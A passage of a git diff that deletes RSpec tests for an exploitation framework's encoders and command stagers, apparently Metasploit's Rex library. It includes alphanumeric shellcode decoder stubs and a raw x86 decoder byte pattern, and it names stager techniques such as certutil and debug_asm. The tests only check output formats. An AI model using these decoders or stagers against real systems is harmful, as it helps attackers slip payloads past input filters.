include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - end - - context "when reg is EDX" do - context "when offset is 10" do - let(:reg) { 'EDX' } - let(:offset) { 10 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 5" do - let(:reg) { 'EDX' } - let(:offset) { 5 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 0" do - let(:reg) { 'EDX' } - let(:offset) { 0 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "doesn't mark EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to_not include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - - context "when offset is 15" do - let(:reg) { 'EDX' } - let(:offset) { 15 } - let(:modified_registers) { [] } - - it "marks ECX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks EBX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EBX) - end - - it "marks EDX as modified" do - described_class.gen_decoder_prefix(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - end - end - end - end - - - describe ".gen_decoder" do - subject(:decoder) { described_class.gen_decoder(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns the alpha upper decoder" do - is_expected.to include(decoder_stub) - end - - it "uses the correct decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder }.to raise_error(ArgumentError) - end - end - - context "when offset is bigger than 20" do - let(:reg) { 'ECX' } - let(:offset) { 25 } - - it "raises an error" do - expect { decoder }.to raise_error(RuntimeError) - end - end - - context "when modified_registers passed" do - let(:modified_registers) { [] } - it "marks EDX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EDX) - end - - it "marks ECX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ECX) - end - - it "marks ESI as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ESI) - end - - it "marks EAX as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::EAX) - end - - it "marks ESP as modified" do - described_class.gen_decoder(reg, offset, modified_registers) - expect(modified_registers).to include(Rex::Arch::X86::ESP) - end - end - end - -end diff --git a/spec/lib/rex/encoder/alpha2/generic_spec.rb b/spec/lib/rex/encoder/alpha2/generic_spec.rb deleted file mode 100644 index 4e484eeb14..0000000000 --- a/spec/lib/rex/encoder/alpha2/generic_spec.rb +++ /dev/null @@ -1,42 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/alpha2/generic' - -RSpec.describe Rex::Encoder::Alpha2::Generic do - - it_behaves_like 'Rex::Encoder::Alpha2::Generic' - - describe ".default_accepted_chars" do - subject(:accepted_chars) { described_class.default_accepted_chars } - - it { is_expected.to eq(('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a) } - end - - describe ".gen_decoder_prefix" do - subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 0 } - - it { is_expected.to eq('') } - end - - describe ".gen_decoder" do - subject(:decoder) { described_class.gen_decoder(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 0 } - - it { is_expected.to eq('') } - end - - describe ".gen_second" do - subject(:second) { described_class.gen_second(block, base) } - let(:block) { 0xaf } - let(:base) { 0xfa } - - it "returns block ^ base" do - expect(second ^ base).to eq(block) - end - end - -end diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb deleted file mode 100644 index 79bd9d1240..0000000000 --- a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb +++ /dev/null @@ -1,88 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/alpha2/unicode_mixed' - -RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do - - it_behaves_like 'Rex::Encoder::Alpha2::Generic' - - let(:decoder_stub) do - "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB" - end - - let(:reg_signature) do - { - 'EAX' => 'PPYA', - 'ECX' => '4444', - 'EDX' => 'RRYA', - 'EBX' => 'SSYA', - 'ESP' => 'TUYA', - 'EBP' => 'UUYAs', - 'ESI' => 'VVYA', - 'EDI' => 'WWYA' - } - end - - describe ".gen_decoder_prefix" do - subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(RuntimeError) - end - end - - context "when offset is bigger than 21" do - let(:reg) { 'ECX' } - let(:offset) { 22 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(RuntimeError) - end - end - end - - - describe ".gen_decoder" do - subject(:decoder) { described_class.gen_decoder(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns the alpha upper decoder" do - is_expected.to include(decoder_stub) - end - - it "uses the correct decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder }.to raise_error(RuntimeError) - end - end - - context "when offset is bigger than 21" do - let(:reg) { 'ECX' } - let(:offset) { 22 } - - it "raises an error" do - expect { decoder }.to raise_error(RuntimeError) - end - end - end - -end diff --git a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb deleted file mode 100644 index 04a9d7caa9..0000000000 --- a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/alpha2/unicode_upper' - -RSpec.describe Rex::Encoder::Alpha2::UnicodeUpper do - - it_behaves_like 'Rex::Encoder::Alpha2::Generic' - - let(:decoder_stub) do - "QATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB" - end - - let(:reg_signature) do - { - 'EAX' => 'PPYA', - 'ECX' => '4444', - 'EDX' => 'RRYA', - 'EBX' => 'SSYA', - 'ESP' => 'TUYA', - 'EBP' => 'UUYA', - 'ESI' => 'VVYA', - 'EDI' => 'WWYA' - } - end - - describe ".default_accepted_chars" do - subject(:accepted_chars) { described_class.default_accepted_chars } - - it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } - end - - describe ".gen_decoder_prefix" do - subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect(decoder_prefix).to be_nil - end - end - - context "when offset is bigger than 6" do - let(:reg) { 'ECX' } - let(:offset) { 7 } - - it "raises an error" do - expect { decoder_prefix }.to raise_error(RuntimeError) - end - end - end - - - describe ".gen_decoder" do - subject(:decoder) { described_class.gen_decoder(reg, offset) } - let(:reg) { 'ECX' } - let(:offset) { 5 } - - it "returns the alpha upper decoder" do - is_expected.to include(decoder_stub) - end - - it "uses the correct decoder prefix" do - is_expected.to include(reg_signature[reg]) - end - - context "when invalid reg name" do - let(:reg) { 'NON EXISTENT' } - let(:offset) { 0 } - - it "raises an error" do - expect { decoder }.to raise_error(NoMethodError) - end - end - - context "when offset is bigger than 6" do - let(:reg) { 'ECX' } - let(:offset) { 7 } - - it "raises an error" do - expect { decoder }.to raise_error(RuntimeError) - end - end - end - -end diff --git a/spec/lib/rex/encoder/ndr_spec.rb b/spec/lib/rex/encoder/ndr_spec.rb deleted file mode 100644 index 64c823a407..0000000000 --- a/spec/lib/rex/encoder/ndr_spec.rb +++ /dev/null @@ -1,169 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/ndr' - -RSpec.describe Rex::Encoder::NDR do - - describe ".align" do - subject { described_class.align(string) } - - context "when empty string argument" do - let(:string) { "" } - it { is_expected.to eq("") } - end - - context "when 32bit aligned length argument" do - let(:string) { "A" * 4 } - it { is_expected.to eq("") } - end - - context "when 32bit unaligned length argument" do - let(:string) { "A" * 5 } - it "returns the padding, as null bytes, necessary to 32bit align the argument" do - is_expected.to eq("\x00\x00\x00") - end - end - end - - describe ".long" do - subject { described_class.long(string) } - let(:string) { 0x41424344 } - - it "encodes the arguments as 32-bit little-endian unsigned integer" do - is_expected.to eq("\x44\x43\x42\x41") - end - - context "when argument bigger than 32-bit unsigned integer" do - let(:string) { 0x4142434445 } - it "truncates the argument" do - is_expected.to eq("\x45\x44\x43\x42") - end - end - end - - describe ".short" do - subject { described_class.short(string) } - let(:string) { 0x4142 } - - it "encodes the arguments as 16-bit little-endian unsigned integer" do - is_expected.to eq("\x42\x41") - end - - context "when argument bigger than 16-bit unsigned integer" do - let(:string) { 0x41424344 } - it "truncates the argument" do - is_expected.to eq("\x44\x43") - end - end - - end - - describe ".byte" do - subject { described_class.byte(string) } - let(:string) { 0x41 } - - it "encodes the arguments as 8-bit unsigned integer" do - is_expected.to eq("\x41") - end - - context "when argument bigger than 8-bit unsigned integer" do - let(:string) { 0x4142 } - it "truncates the argument" do - is_expected.to eq("\x42") - end - end - - end - - describe ".UniConformantArray" do - subject { described_class.UniConformantArray(string) } - let(:string) { "ABCDE" } - - it "returns the encoded string" do - is_expected.to be_kind_of(String) - end - - it "starts encoding the string length as 32-bit little-endian unsigned integer" do - expect(subject.unpack("V").first).to eq(string.length) - end - - it "adds the string argument" do - is_expected.to include(string) - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 3) - end - end - - describe ".string" do - subject { described_class.string(string) } - let(:string) { "ABCD" } - - it "returns the encoded string" do - is_expected.to be_kind_of(String) - expect(subject.length).to eq(20) - end - - it "starts encoding string metadata" do - expect(subject.unpack("VVV")[0]).to eq(string.length) - expect(subject.unpack("VVV")[1]).to eq(0) - expect(subject.unpack("VVV")[2]).to eq(string.length) - end - - it "adds the string argument null-byte terminated" do - is_expected.to include("ABCD\x00") - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 3) - end - end - - describe ".wstring" do - subject { described_class.wstring(string) } - - it_behaves_like "Rex::Encoder::NDR.wstring" - end - - describe ".UnicodeConformantVaryingString" do - subject { described_class.UnicodeConformantVaryingString(string) } - - it_behaves_like "Rex::Encoder::NDR.wstring" - end - - describe ".uwstring" do - subject { described_class.uwstring(string) } - - let(:string) { "ABCD" } - - it "encodes the argument as null-terminated unicode string" do - is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") - end - - it "starts encoding string metadata" do - expect(subject.unpack("VVVV")[1]).to eq(string.length + 1) - expect(subject.unpack("VVVV")[2]).to eq(0) - expect(subject.unpack("VVVV")[3]).to eq(string.length + 1) - end - - it "ends with padding to make result length 32-bits aligned" do - is_expected.to end_with("\x00" * 2) - expect(subject.length).to eq(28) - end - end - - describe ".wstring_prebuilt" do - subject { described_class.wstring_prebuilt(string) } - - it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" - end - - describe ".UnicodeConformantVaryingStringPreBuilt" do - subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) } - - it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" - end - -end diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb deleted file mode 100644 index 7d5f5f440e..0000000000 --- a/spec/lib/rex/encoder/nonalpha_spec.rb +++ /dev/null @@ -1,142 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/nonalpha' - -RSpec.describe Rex::Encoder::NonAlpha do - - let(:decoder) do - dec = "\x66\xB9\xFF\xFF" + - "\xEB\x19" + - "\\\x5E" + - "\x8B\xFE" + - "\x83\xC7" + "." + - "\x8B\xD7" + - "\x3B\xF2" + - "\\\x7D\x0B" + - "\xB0\\\x7B" + - "\xF2\xAE" + - "\xFF\xCF" + - "\xAC" + - "\\\x28\x07" + - "\xEB\xF1" + - "\xEB" + "." + - "\xE8\xE2\xFF\xFF\xFF" - Regexp.new(dec) - end - - describe ".gen_decoder" do - subject { described_class.gen_decoder } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "returns the decoder code" do - is_expected.to match(decoder) - end - end - - describe ".encode_byte" do - subject { described_class.encode_byte(block, table, tablelen) } - - context "when tablelen > 255" do - let(:block) { 0x20 } - let(:table) { "" } - let(:tablelen) { 256 } - - it "raises an error" do - expect { subject }.to raise_error(RuntimeError) - end - end - - context "when block == 0x7b" do - let(:block) { 0x7b } - let(:table) { "" } - let(:tablelen) { 0 } - - it "raises an error" do - expect { subject }.to raise_error(RuntimeError) - end - end - - context "when block is an upcase letter char code" do - let(:block) { 0x42 } - let(:table) { "" } - let(:tablelen) { 0 } - - it "returns an Array" do - is_expected.to be_kind_of(Array) - end - - it "returns a 3 fields Array" do - expect(subject.length).to eq(3) - end - - it "returns '{' char as block" do - expect(subject[0]).to eq('{') - end - - it "appends offset to table" do - expect(subject[1]).to eq((0x7b - block).chr) - end - - it "increments tablelen" do - expect(subject[2]).to eq(tablelen + 1) - end - end - - context "when block is a downcase letter char code" do - let(:block) { 0x62 } - let(:table) { "" } - let(:tablelen) { 0 } - - it "returns an Array" do - is_expected.to be_kind_of(Array) - end - - it "returns a 3 fields Array" do - expect(subject.length).to eq(3) - end - - it "returns '{' char as block" do - expect(subject[0]).to eq('{') - end - - it "appends offset to table" do - expect(subject[1]).to eq((0x7b - block).chr) - end - - it "increments tablelen" do - expect(subject[2]).to eq(tablelen + 1) - end - end - - context "when block is another char code" do - let(:block) { 0x7c } - let(:table) { "" } - let(:tablelen) { 0 } - - it "returns an Array" do - is_expected.to be_kind_of(Array) - end - - it "returns a 3 fields Array" do - expect(subject.length).to eq(3) - end - - it "returns same block char code" do - expect(subject[0]).to eq(block.chr) - end - - it "doesn't modify table" do - expect(subject[1]).to eq(table) - end - - it "doesn't modify tablelen" do - expect(subject[2]).to eq(tablelen) - end - end - end - -end diff --git a/spec/lib/rex/encoder/xdr_spec.rb b/spec/lib/rex/encoder/xdr_spec.rb deleted file mode 100644 index 22d5fc180f..0000000000 --- a/spec/lib/rex/encoder/xdr_spec.rb +++ /dev/null @@ -1,279 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/encoder/xdr' - -RSpec.describe Rex::Encoder::XDR do - - describe ".encode_int" do - subject(:encoded_int) { described_class.encode_int(int) } - let(:int) { 0x41424344 } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "encodes big endian 32 bit usigned integer" do - is_expected.to eq("\x41\x42\x43\x44") - end - end - - describe ".decode_int!" do - subject(:decoded_int) { described_class.decode_int!(data) } - - context "when data is nil" do - let(:data) { nil } - it "raises an error" do - expect { decoded_int }.to raise_error(ArgumentError) - end - end - - context "when data is empty" do - let(:data) { '' } - - it "raises an error" do - expect { decoded_int }.to raise_error(ArgumentError) - end - end - - context "when data is 1-4 bytes length" do - let(:data) { "\x41\x42\x43\x44" } - - it "unpacks big endian 32bit unsigned int" do - is_expected.to eq(0x41424344) - end - end - - context "when data is bigger than 4 bytes" do - let(:data) { "\x41\x42\x43\x44\x45" } - - it "unpacks just one big endian 32bit unsigned int" do - is_expected.to eq(0x41424344) - end - end - end - - describe ".encode_lchar" do - subject(:encoded_lchar) { described_class.encode_lchar(char) } - - context "when char & 0x80 == 0" do - let(:char) { 0x80 } - - it "encodes char byte as integer with sign extended" do - is_expected.to eq("\xff\xff\xff\x80") - end - end - - context "when char & 0x80 != 0" do - let(:char) { 0x41 } - - it "encodes char byte as integer" do - is_expected.to eq("\x00\x00\x00\x41") - end - end - end - - describe ".decode_lchar!" do - subject(:decoded_lchar) { described_class.decode_lchar!(data) } - - context "when data's length is equal or greater than 4" do - let(:data) { "\x41\x42\x43\x44" } - - it "returns char code for last byte" do - is_expected.to eq("D") - end - end - - context "when data's length is less than 4" do - let(:data) { "\x41" } - - it "raises an error" do - expect { decoded_lchar }.to raise_error(ArgumentError) - end - end - end - - describe ".encode_string" do - subject(:encoded_string) { described_class.encode_string(str, max) } - - context "when data is bigger than max" do - let(:str) { "ABCDE" } - let(:max) { 4 } - - it "raises an error" do - expect { encoded_string }.to raise_error(ArgumentError) - end - end - - context "when data is shorter or equal to max" do - let(:str) { "ABCDE" } - let(:max) { 5 } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "prefix encoded length" do - is_expected.to start_with("\x00\x00\x00\x05") - end - - it "returns the encoded string padded with zeros" do - is_expected.to eq("\x00\x00\x00\x05ABCDE\x00\x00\x00") - end - end - end - - describe ".decode_string!" do - subject(:decoded_string) { described_class.decode_string!(data) } - - context "when encoded string length is 0" do - let(:data) { "\x00\x00\x00\x00" } - - it "returns empty string" do - is_expected.to eq("") - end - end - - context "when string contains padding" do - let(:data) {"\x00\x00\x00\x03ABC00000"} - - it "returns string without padding" do - is_expected.to eq("ABC") - end - end - - context "when fake length" do - context "and no string" do - let(:data) { "\x00\x00\x00\x03" } - - it "returns empty string" do - is_expected.to eq("") - end - end - - context "longer than real string length" do - let(:data) { "\x00\x00\x00\x08ABCD" } - - it "returns available string" do - is_expected.to eq("ABCD") - end - end - end - end - - describe ".encode_varray" do - subject(:encoded_varray) { described_class.encode_varray(arr, max) } - - context "when arr length is bigger than max" do - let(:arr) { [1, 2, 3] } - let(:max) { 2 } - it "raises an error" do - expect { encoded_varray }.to raise_error(ArgumentError) - end - end - - context "when arr length is minor or equal than max" do - let(:arr) { [0x41414141, 0x42424242, 0x43434343] } - let(:max) { 3 } - - it "returns an String" do - expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to be_kind_of(String) - end - - it "prefixes encoded length" do - expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to start_with("\x00\x00\x00\x03") - end - - it "returns the encoded array" do - expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to eq("\x00\x00\x00\x03\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43") - end - end - end - - describe ".decode_varray!" do - subject(:decoded_varray) { described_class.decode_varray!(data) } - - context "when encoded length is 0" do - let(:data) { "\x00\x00\x00\x00" } - - it "returns an empty array" do - is_expected.to eq([]) - end - end - - context "when fake encoded length" do - context "and no values" do - let(:data) { "\x00\x00\x00\x02" } - - it "raises an error" do - expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) - end - end - - context "longer than available values" do - let(:data) { "\x00\x00\x00\x02\x00\x00\x00\x41" } - - it "raises an error" do - expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) - end - end - end - - context "when valid encoded data" do - let(:data) { "\x00\x00\x00\x02\x41\x42\x43\x44\x00\x00\x00\x11"} - it "retuns Array with decoded values" do - expect(described_class.decode_varray!(data) { |s| described_class.decode_int!(s) }).to eq([0x41424344, 0x11]) - end - end - end - - describe ".encode" do - it "encodes integers" do - expect(described_class.encode(1)).to eq("\x00\x00\x00\x01") - end - - it "encodes arrays" do - expect(described_class.encode([0x41414141, 0x42424242])).to eq("\x00\x00\x00\x02\x41\x41\x41\x41\x42\x42\x42\x42") - end - - it "encodes strings" do - expect(described_class.encode("ABCD")).to eq("\x00\x00\x00\x04\x41\x42\x43\x44") - end - - it "encodes mixed type of elements" do - expect(described_class.encode(1, [0x41414141], "ABCD")).to eq("\x00\x00\x00\x01\x00\x00\x00\x01\x41\x41\x41\x41\x00\x00\x00\x04\x41\x42\x43\x44") - end - end - - describe ".decode!" do - - context "when no type arguments" do - it "retuns empty Array" do - expect(described_class.decode!("\x41\x41\x41\x41")).to eq([]) - end - end - - context "when not enough data" do - it "retuns Array filled with nils" do - expect(described_class.decode!("", Array)).to eq([nil]) - end - end - - it "decodes integers" do - expect(described_class.decode!("\x41\x41\x41\x41", Integer)).to eq([0x41414141]) - end - - it "decodes arrays" do - expect(described_class.decode!("\x00\x00\x00\x01\x41\x41\x41\x41", [Integer])).to eq([[0x41414141]]) - end - - it "decodes strings" do - expect(described_class.decode!("\x00\x00\x00\x01\x41", String)).to eq(["A"]) - end - - it "decodes mixed elements" do - expect(described_class.decode!("\x41\x41\x41\x41\x00\x00\x00\x01\x41\x00\x00\x00\x00\x00\x00\x01\x42\x42\x42\x42", Integer, String, [Integer])).to eq([0x41414141, "A", [0x42424242]]) - end - end - -end diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb deleted file mode 100644 index 2ae09288f9..0000000000 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/byte' -require 'spec_helper' - -RSpec.describe Rex::Encoding::Xor::Byte do - it_behaves_like "an xor encoder", 1 -end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb deleted file mode 100644 index ef8a548dd4..0000000000 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/dword' -require 'spec_helper' - -RSpec.describe Rex::Encoding::Xor::Dword do - it_behaves_like "an xor encoder", 4 -end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb deleted file mode 100644 index 853a7fb210..0000000000 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/qword' -require 'spec_helper' - -RSpec.describe Rex::Encoding::Xor::Qword do - it_behaves_like "an xor encoder", 8 -end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb deleted file mode 100644 index 06a8c5cc9a..0000000000 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/word' -require 'spec_helper' - -RSpec.describe Rex::Encoding::Xor::Word do - it_behaves_like "an xor encoder", 2 -end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb deleted file mode 100644 index edcdc1b99a..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/base_spec.rb +++ /dev/null @@ -1,26 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerBase do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns nil" do - expect(cmd_stager.cmd_concat_operator).to be_nil - end - end - - describe '#generate' do - it "returns an empty array" do - expect(cmd_stager.generate).to eq([]) - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb deleted file mode 100644 index 803a25f569..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerBourne do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns ;" do - expect(cmd_stager.cmd_concat_operator).to eq(" ; ") - end - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb deleted file mode 100644 index d40c9f5df8..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ /dev/null @@ -1,23 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerCertutil do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb deleted file mode 100644 index f7e8799e89..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerDebugAsm do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns &" do - expect(cmd_stager.cmd_concat_operator).to eq(" & ") - end - end - - describe '#generate' do - let(:opts) do - { - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm") - } - end - - it "returns an array of commands" do - result = cmd_stager.generate(opts) - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb deleted file mode 100644 index 431a885ac1..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerDebugWrite do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns &" do - expect(cmd_stager.cmd_concat_operator).to eq(" & ") - end - end - - describe '#generate' do - let(:opts) do - { - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write") - } - end - - it "returns an array of commands" do - result = cmd_stager.generate(opts) - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb deleted file mode 100644 index 5bcd445fd5..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerEcho do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns ;" do - expect(cmd_stager.cmd_concat_operator).to eq(" ; ") - end - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb deleted file mode 100644 index 7a86dd5538..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerPrintf do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns ;" do - expect(cmd_stager.cmd_concat_operator).to eq(" ; ") - end - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - 